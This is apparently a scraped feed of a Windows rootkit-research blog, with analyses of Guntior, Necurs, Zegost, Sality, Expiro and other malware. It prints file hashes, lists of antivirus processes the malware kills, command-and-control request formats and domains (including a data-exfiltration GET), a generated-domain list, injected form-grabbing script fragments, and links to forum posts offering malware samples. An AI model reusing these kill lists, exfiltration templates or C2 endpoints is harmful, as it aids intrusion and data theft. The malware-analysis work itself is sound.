Quantcast
Channel: A blog about rootkits research and the Windows kernel
Viewing all 58 articles
Browse latest View live

Guntior - detailed analysis of the Chinese bootkit

$
0
0
Original dropper that contains bootkit dropper:
SHA1: e83ca87a39a5f15ca5942fd57d78e790861c2937
MD5:  15e692cf34a70fb364591622bff1e43a
File size: 86027 bytes


This original dropper extracts bootkit dropper from itself and launches it on execution with same name.

Bootkit dropper:

SHA1: 5ecefefe4bbfc040927e827ab81c10caf5d10f90
MD5: f72e3d86b8f4f97d103ff1b7f87213f2
File size: 54272 bytes

Bootkit dropper stores it components in resource section in crypted state.
Decryption routine has view:

Bootkit dropper has an interesting method of calling OEP via SEH handler with generating an exception.

OEP has view (dropper supports two modes of running - as dll and exe).
Anti-debug/anti-emu feature:
On the next stage it performs an interesting trick to load itself via dll and continuing initialization as dll.
In the first, it copies itself to system directory with random name.tmp and patches PE-characteristics by setting Dll flag.
In the second, it hooks imm32.dll!ImmLoadLayout and ntdll.dll!ZwQueryValueKey.
ZwQueryValueKey hook has view:
After hooks were set it tries initiate keyboard layout switching (that was already registered via creating new parameter in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts). Malicious keyboard layout has view:

Finally revert layout to original.

Second stage initialization via dll loading.
At this stage dll should be loaded into working processes in system and first that it does - sets special event to signal bootkit exe dropper about success of running.
So, if injection was failed, it runs next phase.
Before load it's driver, it performs some actions targeted to disable some protections that can present in the system.
- In case of HintClient.exe that belongs to company Shanghai Hintsoft Co.,LTD. - http://www.hintsoft.com.cn/ sends a special IOCTL code to it driver (look code at 00403A3B).
- In case of Drvmon (drivers monitoring tool) also sends a special IOCTL to unknown driver (look code at 00403B0A).

Next it loads driver and infects MBR.
Driver:

SHA1: adcdee632d7915f5e73669d809d9713e9250b81d
MD5: c1f5c5af49243e497ae979f2622ab5d0
File size: 4704 bytes


Features of driver:
- Low-level disk I/O
- Processes killlig


Creates device with name \Device\Guntior for communicate with ring3.

\Device\Guntior
\??\Guntior
RSDS
C:\sys.pdb
memcpy
MmMapLockedPagesSpecifyCache
memset
IoDeleteSymbolicLink
RtlInitUnicodeString
IoDeleteDevice
RtlGetVersion
IofCompleteRequest
IoCreateSymbolicLink
IoCreateDevice
PsLookupProcessByProcessId
MmIsAddressValid
ObfDereferenceObject
ObReferenceObjectByPointer
ntoskrnl.exe
WRITE_PORT_BUFFER_USHORT
HalGetBusData
READ_PORT_BUFFER_USHORT
KfRaiseIrql
KfLowerIrql

Driver is a loaded via very interesting trick with sending a special IOCTL to PnpManager.

Unlike other bootkits that intercept functions of disk.sys or atapi.sys for hiding malicious MBR and payload in the end of the disk, this bootkit intercepts nothing and supports unloading (it has an unloading routine).

Original (not-infected) MBR has view:
Malicious (by 0x190 offset it stores offset of its extension):
In the end of disk bootkit stores:
- Original MBR 
- Extension of malicious boot-code 
- Dll
- Driver


Main payload is stored into dll  [resource number 111]. Dropper extracts it from resource, decrypts and writes into systemroot\system32\appmgmts.dll.

It also completely rewrites systemroot\system32\sfc_os.dll by dll body.
Internally dll stored as rewritten sfc_os.dll from Chinese Windows XP.




Dll targeted to killing processes:

nod32krn.exe
egui.exe
ekrn.exe
360tray.exe
360leakfixer.exe
360Safe.exe
safeboxTray.exe
360safebox.exe
360sd.exe
ZhuDongFangYu.exe
360rp.exe
360sdupd.exe
Calc.exe
KSWebShield.exe
kxesapp.exe
kxeserv.exe
kwstray.exe
kxedefend.exe
upsvc.exe
kxescore.exe
KVExpert.exe
kxetray.exe
KSafeSvc.exe
KSafeTray.exe
guiyingfix.exe
RavMonD.exe
RsTray.exe
RsAgent.exe
RegGuide.exe
RsMain.exe
RsCopy.exe
Rav.exe
KVSrvXP.exe
KVExpert.exe
KVMonXp.exe
avp.exe
avp.exe
ras.exe
knownsvr.exe
rstray.exe
knsdtray.exe
knsd.exe
knsdsvc.exe
knsdsve.exe
QQPCLeakScan.exe
QQPCWebShield.exe
QQPCTAVSrv.exe
QQPCRTP.exe
QQPCMgr.exe
QQPCUpdateAVLib.exe
QQPCTray.exe
QQRepair.exe
QQPCPatch.exe

Killing processes code:

HTTP-request:

HTTP/1.1
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: %s
Connection: Keep-Alive


Dropper with decrypted payload available for download here:
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1765#p14683
Dumps of malicious code with  some comments by Peter here:
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1765#p14709

Enjoy.

Investigation an interesting kernel mode stealer

$
0
0
About two weeks ago my friend R136a1 from kernelmode forum came across with dropper that installs driver in the system. We decide make research of them, and it was not a mistake of starting it analyse...
Initial dropper hash:

SHA1: a53d0ef7b3a9f81b133c36af60d2b6acd0f82b74
MD5: 9c0744b8119df63371b83724bafe2095
File size: 32768 bytes 

On this moment can tell exactly that only one or two vendors identified it with malware family.

Main purpose of dropper - extract driver from itself and install it in the system.
Driver masked as USB-driver and always extracted with same name - usbhc.sys.
Hash:
SHA1: a53d0ef7b3a9f81b133c36af60d2b6acd0f82b74
MD5: 9c0744b8119df63371b83724bafe2095
File size: 32768 bytes 

One of the most strange thing that I discovered - driver is a fully standalone and not receives commands from user mode. And of course, it not create device object and symbolic link. for user mode interaction.
Research led me to a conclusion that driver has one main purpose - stealing data from devices that connect to serial ports of computer and sending it to remote server...
For stealing data from these devices it performs preparatory operations.
First, it reads the contents of \REGISTRY\MACHINE\HardWare\DeviceMap\SERIALCOMM that stores devices attached to serial ports [devices representing serial ports].
Second, it performs attaching to all this devices.

After rootkit attached it device, device stack of serial has view:


Second very interesting thing in this case that all network-based communication with remote server also found in driver:
- DGA (Domain Generation Algorithm)
- DNS via UDP (for convert domain names into IP)
- HTTP-based communication via TCP
- Special communication with ndisrd.sys driver.


For retrieving domains and resolve it to IP-addresses, driver uses such technique. First, it looking for DhcpNameServer parameter for each interface that it found at
\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\

On next step, it generates domains and calls DNS-service for response about it status.

All further communication will be done through this server (which was received via DNS). In the end of post listed all domains that it polls.
Network communication completely based on TDI (Transport Device Interface) [look WDK for it description or this tutorial http://www.codeproject.com/Articles/9974/Driver-Development-Part-5-Introduction-to-the-Tran]
Preparing the server connection has the form (in SDK term - creating socket).
Next it will connect to remote server:
Internally in driver, socket described by this structure:

struct TDI_CONNECTION_INTERNAL
{
PFILE_OBJECT foTransportAddress;
HANDLE hTransportAddress;
PVOID foConnection;
HANDLE hConnection;
....
}

After connection with server was set, it can send requests to it via HTTP. Requests have view:


GET /srv.php?&id=uniqueID&mark=METKA&special_marker_opt HTTP/1.1
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: host
Connection: close

Simple communication with server has view (rollcall):
->
GET /srv.php?&id=GOG73FRHOBFI&mark=METKA HTTP/1.1
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: perwadav.org
Connection: close
<-
HTTP/1.1 200 OK..Date: Mon, 23 Jul 2012 17:13:16 GMT
Server: Apache/2.2.3 (CentOS)..X-Powered-By: PHP/5.1.6
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8
SERVERISOK -> server status

After connection was established, driver performs downloads a dropper of ndisrd.sys from server, with request:
GET /srv.php?&id=uniqueID&mark=METKA&f=os_ver HTTP/1.1
Variable of os_ver has view n_xp_32 or n_7_32

Basic requests formed with func:
Conversation:
Driver perform saving dropper into:
\SystemRoot\System32\kb_random.exe 
In my case:
\SystemRoot\System32\kbVOTHBNAU.exe

From driver:


Downloaded dropper:

SHA1: 911c027e5f4acf4a75d0cf8e751d0ba8fbbd0959
MD5: a93b5454f4492a4a8d971811f2d12b1e
File size: 81805 bytes


After dropper was downloaded, it will be installed by driver. Installation performs in context of trusted process - explorer or services (in depend of OS version).

Purpose of downloaded dropper - installation of ndisrd.sys driver.
Rootkit driver performs opening device of ndisrd.
Purpose of IOCTLs that rootkit sends to NDISRD could not identified, but there is a list of them:
830020D0
830020D4
830020D8
830020DC
830020C4

As I said before main purpose of rootkit - stealing data from serial devices and sending it to server. Stealing of data performed with registering of completion routine in Write and Read - IRP-dispatch functions. Driver registers the device in the chain of serial-devices, and can see all requests that pass through the chain.

IRP_MJ_READ handler - registers completion routine and calls next on the stack.
Completion routine has view:
After data was captured, wakes up a special thread, which writes cached data to a file.
Thread writes data to file - \SystemRoot\System32\svlog.log.
After data was written, thread sets a special event which signaling that data was written to file.
Thread that response for sending data from file to server:

->
GET /srv.php?&id=GOG73FRHOBFI&mark=METKA&a= HTTP/1.1
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: perwadav.org
Connection: close
Data of file
<-
HTTP/1.1 200 OK..Date: Mon, 23 Jul 2012 17:13:16 GMT
Server: Apache/2.2.3 (CentOS)..X-Powered-By: PHP/5.1.6
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8
SERVERISOK -> server status

Information about malicious domain:
This guy linkedin profile http://www.linkedin.com/in/petrachkov.


You can download paper about dropper by R136a1 here http://artemonsecurity.com/research_of_unk_malware.pdf

List of domains:
oqdxvvbk.com
perwadav.org
ebcgndvj.org
qdrhandp.org
tbkfopaf.org
twmhimdj.org
thgdabbj.com
efjwirmb.org
qxkomgei.com
bbfsyfsr.com
jbpgfqra.org
anwfejhx.com
frstfnuh.org
xbcfgule.com
cyfohwwf.com
catjdhuu.org
woyhiepx.org
fmegpykr.com
bowgtptk.com
dnrdyute.org
jchgbmmo.org
poxldxhv.org
mkrhwons.org
aovinvsi.org
ivogeuom.com
mubrnyxd.org
emhedcxc.org
ibqanwif.org
umspakwh.org
wianbpdb.com
oejkewmq.org
gqnjmmgd.org
lpdbwrfu.com
kwkdraat.org
dfogsbau.org
gjfxavjw.org
idrlbacl.org
xavostmi.org
sxdhddbb.com
wbqwvapj.org
jiqcsvng.com
gkceusvc.com
vssqfbmq.org
pcawxcwp.com
lpjnerpe.org
safcoyho.com
llbeoaix.com
oirhxgpf.org
ygdmlsgl.org
fyxfattr.com
tdcqhkne.com
wwdstess.org
eexeufwo.org
wbwfjosa.org
ixskfbvp.org
fmcspasm.org
wdjjkmwv.com
svpaidvo.org
vnhcftma.org
twjotfct.org
fwlckqdv.org
bjfgwabb.com
cdobjfic.org
qjfhsiua.org
enldxohy.com
dcnpyqlg.org
nsbjdfyq.org
cyhwpiaw.org
mnbpwbjj.org
volgbbox.org
tgrwfjpv.com
lgqxwrkf.org
xwalgbjg.com
yuwbhxeu.com
hulosvof.org
qxpvprdy.com
ijjxoocp.org
fbrebqna.com
tpxirylu.com
keukrpqf.org
rxyjkcwj.org
oucmtrhv.com
rxftpvku.com
wlxrrqyd.org
ybljdhos.org
qwkpxcct.org
qecgrdxg.org
dudfymdl.org
sesjvgii.com
yxcxjriu.org
ljmiphjx.org
btotkygq.org
fodbotqn.org
rfsojypy.com
mbdoebhh.org
johqyxsw.org
gldfgkey.com
fvpujviq.org
fyclctjf.org
xnvwdmyf.org

OnlineGameHack - analysis of the Korean games grabber and AV-killer

$
0
0
Dropper was captured about 3 weeks ago with help of VX Vault.
Hash:

SHA1: 53b1ce48f2b0cf3c7028184676be7b21485bd45a
MD5: ab551ebc28e4cbcdcb44b1175e14038b
File size: 39936 bytes



Threat consists of three components:
- Dropper - extracts two other components and installs in the system.
- Dll - main payload.
- Driver - contains AhnLab-V3 AV killing features.

According to VT in ITW about 4 weeks.

Was discussed in brief here [once it was discovered]:

Original dropper packed with UPX and masked as legal (valid version info).


Decrypted dropper:

SHA1: eb00947b3d07510120fa465e5a9f439bc586b618
MD5: abb1bd5e230a78f3946fae840c4fff68
File size: 106496 bytes 

 26 / 41

I was really surprised that AhnLab-V3 missed verdict of unpacked...
Decrypted dropper stores payload in .rsrc section.


Dropper have a simple obfuscation of code and strings:
Strings obfuscation:

First that dropper performs - extracts driver from resource and writes it into file.

Driver dropped to LOL path - C:\WINDOWSrandom.sys, C:\WINDOWSJytVKZN.sys [in my case].

Second, extracts dll and sets it into autorun via 
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
Autorun:

Driver hash:

SHA1: dc0a214282c96306586ac3dffd1540af3f547d42
MD5: 52d513b5bf0dbbfdc9ecc928415a8457
File size: 5248 bytes

Killing processes algorithm:

Tries to restore hooks on ObOpenObjectByPointer and ObReferenceObjectByHandle (Kernel API, look WDK).


LOL

Dll:

SHA1: fe852d011be23db6d560528bd027f03dcd80274a
MD5: 3ba32ad45dcb77eb14fd375a843f10cc
File size: 72704 bytes
Dll dropped to SystemRoot\System32\WinsocketA.dll (look screen above) and is loaded in every process with help of AppInit_DLLs key. WinsocketA.dll contains all payload of the threat.

As soon as dll is loaded into new process (DLL_PROCESS_ATTACH), it perform checking image name of processes it was loaded.

It performs a special actions for various processes it was loaded.

For example, if dll is running in context of IE, it performs the interception next functions:

WinInet.dll!InternetReadFile
WinInet.dll!HttpWrapSendRequest
kernel32!MultiByteToWideChar
ws2_32.dll!send

Dll's code contains anti-debug features such as function prolog bypassing. Thus, it is invisible for usual breakpoints which are established on the function beginning.



Also dll contains stubs for all export functions of ws2help.dll.
Also DLL uses PEB-modifications technique for hide itself from module list.
ws2_32.dll!send hook:


WinInet.dll!InternetReadFile hook:

It forges some requests and forms and these data are fragmented.

this.AosGetText4 = function (elementObj){var e1=aos_get_text4(elementObj,1);var e2="";if(elementObj.value.length > 12){e2 = aos_get_text4(elementObj,2);}e2=aos_get_text2(elementObj);return [e1,e2];}/*------------------------------------------------------*/
this.AosGetText4 = function (elementObj)
function aos_get_text4(obj,order){var a="";try{a=MKD25.GetText4(obj,order);document.getElementById("sbanner").value=MKD25.GetText2(obj);return a;}catch(e){}return a;}/*------------*/
function aos_get_text4( obj, order )
NgbClientForm.AddChildForSubform( 'strLeftID', %s );
NgbClientForm.AddChildForSubform( 'strLeftPw', %s );
///////////////////////////////////////////////////////
if ( %s == '' )
%[^,]
this.Login = function( 
codeRegSite, strRedirect, isPhone )
this.Login = function( _
wlaiq55
</strong>
<span><strong>

artemonsecurity.com is out

TDI - a new element in old tdss story

$
0
0
According to Microsoft new version of Alureon (well known as tdss) was discovered in August. It's Trojan:Win32/Alureon.FV [dropper] - http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Trojan%3AWin32%2FAlureon.FV



Later, in September and October, Damballa and SurfRight respectively also confirm that new modification of tdss was observed.

http://hitmanpro.wordpress.com/2012/10/07/new-tdl4-strain-very-successful-in-hiding-from-av/
https://www.damballa.com/press/2012_09_17bPR.php

A few words about dropper. It contains:
- obfuscated code with trash instructions;
- anti-emu features;
- checking debug from huge number of functions;
- calling key functions via stack modification for hiding code flow.

VBR infection code has view:

It uses 0x4D014 IOCTL for VBR infecting - it's standart IOCTL_SCSI_PASS_THROUGH_DIRECT.

Frank published it decrypted payload.
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=596&start=100#p16056

It has view:
As we can see it contains a new module [driver] called as TDI (Transport Device Interface). http://msdn.microsoft.com/en-us/library/windows/hardware/ff565685(v=vs.85).aspx 


SHA256:76fd3ce8b4428ea69568fe9b198174ae4be2e440863772494e4b2182dd7ebfb4
SHA1:9d2e7de60d42d7dce2fcd9c3923ec098b4bfb51d
MD5:83d04e8aec67ed939729777c3d2499a3
File size:12800 bytes

Driver entry:
- initialization;
- starting necessary system threads;
- attaching to network devices: \Device\Tcp\Device\Udp\Device\Ip\Device\RawIp.




Rootkit device name - \Device\cmdhlp with link \DosDevices\cmdhlp.

Analysis of VirTool:WinNT/Exforel.A rootkit

$
0
0
A few days ago guys from MMPC reported about rootkit [backdoor] called VirTool:WinNT/Exforel.A
Review has included information in terms of network communication. But rootkit also contains some internal noteworthy features. First of all, startup processes from context of trusted services.exe. This is done with help of shellcode which injected into services.

Code injection:


Shellcode logic:

Driver listens input and output pipes in two special threads. Purpose of each of them writing data into pipes and reading it. Scheme of working stdin dispatcher thread:



Another interesting feature of rootkit - method with help of which it do pages of process writable.

Pages translation scheme:


Undocumented kernel objects offsets table:

Zegost - analysis of the Chinese backdoor

$
0
0
Interesting features:
- Rootkit on board;
- Dropped driver has ~100MB size on disk;
- Contains AVKill code;
- Injected DLL as a payload.

Original dropper fingerprints:

SHA256:030340a429180da10df3dee1092701aa3b9e38dac45445badb457de44c198061
SHA1:ecb9626b9a2cd0c75a078f1c17cbead251380ba6
MD5:48c093b0e24d65838e1ee0f5b7b4337e
File size:98304 bytes

Dropper is detected by almost all vendors:

Resource section is interesting, because it stores the rootkit driver in packed state (APLib).
Point of driver loading by dropper is trivial - using of ntdll!ZwLoadDriver.
For loading the driver the first time, it creates the same file and service name.

\Registry\Machine\System\CurrentControlSet\Services\HideKey
C:\recycler\hidekey.txt


To mislead some static detectors and analyzing tools, the trojan uses the trick of dropping rootkit with total file size ~100MB. Actual size ~70KB.

A similar technique is used in Darkmegi rootkit, but the total size is smaller.

Resource with 104 number in dropper contains reg-file for setup driver.
Point of its loading.


To ensure the survival after reboot, the dropper creates AppSvcHlp.sys - a copy of hidekey.txt in standard drivers directory.

Driver/rootkit:

SHA256: 061e60a81dd01207b08f5243eb54fb9fe2e492d51e9e691f18ae9581607a625e
SHA1: 19889145b193926b8fa2827c5eff966b450b3a19
MD5: 2d613204d44fb0455ef0fa5384d5352c
File size: 75776 bytes

Driver body contains malicious dll [antivshlp32.dll] and has main purpose dll installation:


Driver targeted to disruption a lot of AV products: Qihoo 360, Kaspersky AV, ESET Nod32,  Malwarebytes Anti-Malware.


DLL:

SHA256:bf876fef476ec8d7e712422d0411099834810747e447102818f0af93591b53eb
SHA1:e7356ab76d223ce18845942bf62cf55123b9b686
MD5:e72b0a5d85f1e9d3413745d2b696b714
File size:40960 bytes





Autorun from:

DLL has on board another exe-file injected into IE. This exe being stored in resource section and packed with APLib.
Injection chronicles:


Injected module - final payload:


SHA256:5577a888fa4477c47a3bf3159b5e46de16a75582ba4888d38b5f2a8b527a9c18
SHA1:dae0f132166d008878491baa65424e221792669f
MD5:8e8d86259b9e94a8febc36407964cfe3
File size:14336 bytes

Performs response to remote server from context of shadow IE:
Remote server - hxxp://iyy.conimes.com http://whois.domaintools.com/conimes.com

Communication:
With help of:

Request:
http://iyy.conimes.com/cgi/online.asp?hostname=ComputerName&httptype=[1][not httptunnel]

Other requests:

/cgi/binup.asp
/cgi/textup.asp
http://%s/cgi/%s.txt
http://%s/cgi/command.asp?hostname=%s&command=test&del=delfile
http://%s/cgi/update.exe



Necurs rootkit under microscope

$
0
0
Okay, we already know about Necurs, just remind it interesting features:

  • Highly difficult in terms of removal from infected system;
  • Targeted to blocking drivers around 30 AV products [and 130 drivers in total];
  • Also targeted to x64 platform [has x64 version of driver];
  • Driver has obfuscated relocatable code;
  • Provides for itself the earliest start in the system [before all AV or Anti-malware drivers and system drivers];
  • Has it's own PE-loader with features of module relocation and IAT tuning for creation a complete copy of working driver;
  • Three types of black list: checking version info, special code signatures and drivers names.

I already wrote about detection of this rootkit by various anti-rootkits here http://artemonsecurity.blogspot.ru/2011/11/necurs-rootkit-detection.html. In that post also listed symptoms of infection and various kernel anomalies. Today we'll talk about Necurs more detail.

First of all - black list and how it's implemented. According to list, which is subject to examination by the rootkit, it includes about 30 various AV products (checking via version info), and 130 various drivers (checking via image names comparison). Full list of vendors avalaible here - http://pastebin.com/BznsXcD2 and list of drivers here - http://pastebin.com/ahTezZ1d.
Before you start the static analysis you should retrieve decrypted version of driver. In normal encrypted state it looks like this:

To be convinced that rootkit is active, you need to check presence of NtSecureSys device object.


On the next step need to dump it decrypted body from memory with help of anti-rootkit or windbg. Ok, let's do it with windbg. Necurs sets some hooks to SSDT and this is one of the start point for dumping it image from memory.



Next we can dump it from memory.
Instead !pool command you can use search for MZ header in reverse order for retrieving start of decrypted copy:
s 822bbe2b L-10000 'M' 'Z'

Decrypted driver:

Start point of black list checks - LoadImageNotifyRoutine function. Detailed info about this feature http://msdn.microsoft.com/en-us/library/windows/hardware/ff559957(v=vs.85).aspx. This callback is called every time when new driver [or user mode image] was loaded in system [or in process].


This function contains all types of blacklist checks. For example, on this screenshot below is represented check via vendors names in version info.


If the driver is blacklisted, Necurs patches it entry point with two instructions, so DriverEntry after that returns STATUS_UNSUCCESSFULL and IO manager not load this driver.


Rootkit also contains two special white lists of drivers that not included into black list.

Collection of information into white list rootkit performs on stage of initialization. Rootkit performs scanning of  \drivers directory and look for drivers not included into blacklist.

Also it walks by services registry key and adds drivers into these lists.
To avoid misunderstanding it adds loaders into these lists.

Ways of drivers entry point modifications looks like:

Necurs also blocks registry operations for own service key. So, any attempt to access to key fails. It possible with help of http://msdn.microsoft.com/ru-ru/library/windows/hardware/ff545879(v=vs.85).aspx

Similar situation with file system. Necurs attaches his device object to volume and tracks all FS operation, so rootkit body on volume is unaccessible.

Another interesting feature of Necurs - possibility of start before ALL drivers in the system [including boot bus extender drivers].


But on clean system we have another picture:
Ok, all right.

The conclusion is obvious: Necurs adds itself into "Boot Bus Extender" group and modifies priority ("Tag") of all drivers from this group (increases their Tag numbers by one, +1). Detailed about priority of drivers load, look http://support.microsoft.com/kb/103000

Summary:
Necurs also registers callback for tracking operations about handle creation for process with help of ObRegisterCallback. API - http://msdn.microsoft.com/en-us/library/windows/hardware/ff558692(v=vs.85).aspx
From this callback rootkit performs modification of original final desired access for the handle in special cases of handle opening.


Mission of NtOpenProcessHook consists in blocking open handle operation for process which rootkit considers as trusted.



According to Microsoft Malware Protection Center (MMPC) Necurs found on more than 83,000 machines and Microsoft report calls rootkit a "prevalent threat". This is not surprising after disclosure of the threat, it becomes clear why this is so.
http://www.darkreading.com/risk-management/167901115/security/attacks-breaches/240144203/necurs-rootkit-spreading-quickly-microsoft-warns.html

http://blogs.technet.com/b/mmpc/archive/2012/12/07/unexpected-reboot-necurs.aspx

Fingerprints:

x32 version:

SHA256:742a3c8c0a3601af29daffb966e947334d4f20501e5568b9c9fbf4c3526b4b84
SHA1:30f63b8cae41a97456a82131c4577a2020697b89
MD5:0907292986e05a8752bc1863556d229e
File size:59776 bytes

x64 version:

SHA256:b3fea8183670ecf6150325f05aed28dfa27d7c6d2c1007808661f97c27fd7e1e
SHA1:d69b06801a8378e8c9ac8b369cb9e14ef8c8d479
MD5:39b447e293979ac7259d4d9a2711c9a0
File size:75720 bytes



Sality rootkit analysis

$
0
0
Sality is a well known family of file-infectors (or PE-infectors or just a viruses). And as malware it has a very long story of evolution since 2003. Latest it versions contain rootkit on board to complicate detection from side of AV-scanners.

Driver has such features:
  • Processes termination via NtTerminateProcess;
  • Blocking access to some AV web-resources via IP Filtering;
  • Small size ~ 5 KB.

According analysis, rootkit is targeted to Windows starting NT4 and finishing Vista. It should be said in advance that this rootkit is not a NEW and not contains some features which have modern rootkits or bootkits. Researched version of rootkit has appeared ITW since beginning of 2010.

Rootkit creates device with name:

\Device\amsint32
\DosDevices\amsint32

and this is signal to infection.


Rootkit contains usual most famous way of process killing, which is used by almost all "old-school" rootkits.
Sality uses old model of IP filtering for blocking access to web-resources that belong AV-vendors. This technique is called IP Filtering. More info: Windows 2000 Filter-Hook Driver example http://ntdev.h1.ru/ipfilter.html and MSDN http://msdn.microsoft.com/en-us/library/windows/hardware/ff548976(v=vs.85).aspx

List of affected vendors:

This feature requires from driver to registering a callback function which will be called for IP-packets. This function will decide what to do with the packet: to forward it or drop.

Registered callback - fnFilterHookIP will looking for presence of AV-vendors strings in data of packet. In case of hit it forces IP-driver to drop this packet.

Encrypted AV vendors strings in it body:


Detection ratio:


SHA256: e0b193d47609c9622aa018e81da69c24b921f2ba682f3e18646a0d09ec63ac2b
SHA1:ef9a19ba89021179930888264290367b5d106a44
MD5:bf31a8d79f704f488e3dbcb6eea3b3e3
File size: 5157 bytes




Xpiro 64-bit analysis

$
0
0
[originally was posted on welivesecurity as my work with ESET Research team, 30 JUL 2013, http://www.welivesecurity.com/2013/07/30/versatile-and-infectious-win64expiro-is-a-cross-platform-file-infector/]

Recently, our anti-virus laboratory discovered an interesting new modification of a file virus known as Expiro which targets 64-bit files for infection. File-infecting viruses are well known and have been studied comprehensively over the years, but malicious code of this type almost invariably aimed to modify 32-bit files. One such family of file viruses, called Expiro (Xpiro), was discovered a long time ago and it’s not surprising to see it today. However, the body of this versatile new modification is surprising because it’s fully cross-platform, able to infect 32-bit and 64-bit files (also, 64-bit files can be infected by an infected 32-bit file). According to our naming system the virus is called Win64/Expiro.A (aka W64.Xpiro or W64/Expiro-A). In the case of infected 32-bit files, this modification is detected as Win32/Expiro.NBF.

The virus aims to maximize profit and infects executable files on local, removable and network drives. As for the payload, this malware installs extensions for the Google Chrome and Mozilla Firefox browsers. The malware also steals stored certificates and passwords from Internet Explorer, Microsoft Outlook, and from the FTP client FileZilla. Browser extensions are used to redirect the user to a malicious URL, as well as to hijack confidential information, such as account credentials or information about online banking. The virus disables some services on the compromised computer, including Windows Defender and Security Center (Windows Security Center), and can also terminate processes. Our colleagues from Symantec have also written about the most recent Expiro modification. TrendMicro also reported attacks using this virus.

The Win64/Expiro infector

The body of the virus in a 64-bit infected file is added to the end of the new section of the executable file, called .vmp0 with a size of 512,000 bytes (on disk). To transfer control to the main body (.vmp0), the virus inserts 1,269 bytes of malicious startup code in place of the entry point. Before modifying the entry point code, the virus copies the original bytes to the beginning of the .vmp0 section. This startup code performs unpacking of the virus code into the .vmp0 section. In the screenshot below we show the template for the startup code to be written during infection to the entry point of the 64-bit file.


During the infection process, the virus will prepare this startup code for insertion into the specified file and some of these instructions will be overwritten, thus ensuring the uniqueness of the .vmp0 section contents (polymorphism). In this case, the following types of instruction are subject to change: add, mov, or lea (Load Effective Address), instructions that involve direct offsets (immediate). At the end of the code, the virus adds a jump instruction which leads to the code unpacked into the .vmp0 section. The screenshot below shows the startup code pattern (on the left) and startup code which was written into the infected file (on the right).

Similar startup code for 32-bit files is also located in the section .vmp0 as presented below.


This code in x32 disassembler looks like usual code (infected file).

The size of the startup code in the case of a 64-bit file is equal to 1,269 bytes, and for an x32 file is 711 bytes.

The virus infects executable files, passing through the directories recursively, infecting executable file by creating a special .vir file in which the malicious code creates new file contents, and then writes it to the specified file in blocks of 64K. If the virus can’t open the file with read/write access, it tries to change the security descriptor of the file and information about its owner.

The virus also infects signed executable files. After infection files are no longer signed, as the virus writes its body after the last section, where the overlay with a digital signature is located. In addition, the virus adjusts the value of the field Security Directory in the Data Directory by setting the fields RVA and Size to 0. Accordingly, such a file can also be executed subsequently without reference to any information about digital signatures. The figure below shows the differences between the original/unmodified and the infected 64-bit file, where the original is equipped with a digital signature. On the left, in the modified version, we can see that the place where the overlay shown on the right was formerly located is now the beginning of section .vmp0.


From the point of view of process termination, Expiro is not innovative and uses an approach based on retrieving a list of processes, using API CreateToolhelp32Snapshot, and subsequent termination via OpenProcess / TerminateProcess. Expiro targets the following processes for termination: «MSASCui.exe», «msseces.exe» and «Tcpview.exe».


When first installed on a system, Expiro creates two mutexes named «gazavat».


In addition, the presence of the infector process can be identified in the system by the large numbers of I/O operations and high volumes of read/written bytes. Since the virus needs to see all files on the system, the infection process can take a long time, which is also a symptom of the presence of suspicious code in the system. The screenshot below shows the statistics relating to the infector process at work.

The virus code uses obfuscation during the transfer of offsets and other variables into the API. For example, the following code uses arithmetic obfuscation while passing an argument SERVICE_CONTROL_STOP (0x1) to advapi32!ControlService, using it to disable the service.


With this code Expiro tries to disable the following services: wscsvc (Windows Security Center), windefend (Windows Defender Service), MsMpSvc (Microsoft Antimalware Service, part of Microsoft Security Essentials), and NisSrv (Network Inspection Service used by MSE).

Win64/Expiro payload

As the payload, the virus installs a browser extension for Google Chrome and Mozilla Firefox. The manifest file for the installed Chrome extension looks like this:


In the Chrome extensions directory, the directory with malicious content will be called dlddmedljhmbgdhapibnagaanenmajcm. The malicious extension uses two JavaScript scripts for it work: background.js and content.js. After deobfuscation, the code pattern of background.js looks like this.


The variable HID is used for storing the OS version string and Product ID. The variable SLST is used to store a list of domains that are used to redirect the user to malicious resources.


The manifest file for the Firefox extension looks like this:


In the screenshot below you can see part of the code of content.js which performs parsing of form-elements on the web-page. Such an operation will help malicious code to retrieve data that has been entered by the user into forms, and may include confidential information.


As a bot, the malware can perform the following actions:
  • change control server URLs;
  • execute a shell command – passes it as param to cmd.exe and returns result to server;
  • download and execute plugins from internet;
  • download a file from internet and save it as %commonapddata%\%variable%.exe;
  • implement a TCP flood DoS attack;
  • enumerate files matching mask \b*.dll in the %commonappdata% folder, loading each one as a library, calling export «I» from it, and loading exports «B» and «C» from it;
  • start proxy server (SOCKS, HTTP);
  • set port forwarding for TCP on the local router (SOAP).

Expiro tries to steal FTP credentials from the FileZilla tool by loading info from %appdata%\FileZilla\sitemanager.xml. Internet Explorer is also affected by Expiro which uses a COM object to control and steal data. If a credit card form is present on a loaded web page, malware will try to steal data from it. The malicious code checks form input data for matches to «VISA» / «MasterCard» card number format and shows a fake window with message:

“Unable to authorize.\n %s processing center is unable to authorize your card %s.\nMake corrections and try again.”

This malware can also steal stored certificates with associated private keys (certificate store «MY»).

Implications of Win64/Expiro

Infecting executable files is a very efficient vector for the propagation of malicious code.

The Expiro modification described here represents a valid threat both to home users and to company employees. Because the virus infects files on local disks, removable devices and network drives, it may grow to similar proportions as the Conficker worm, which is still reported on daily basis. In the case of Expiro the situation is getting worse, because if a system is left with at least one infected file on it which is executed, the process of total reinfection of the entire disk will begin again.

In terms of delivery of the payload, the file infector is also an attractive option for cyber crime, because viral malicious code can spread very fast. And of course, a cross-platform infection mechanism makes the range of potential victims almost universal.

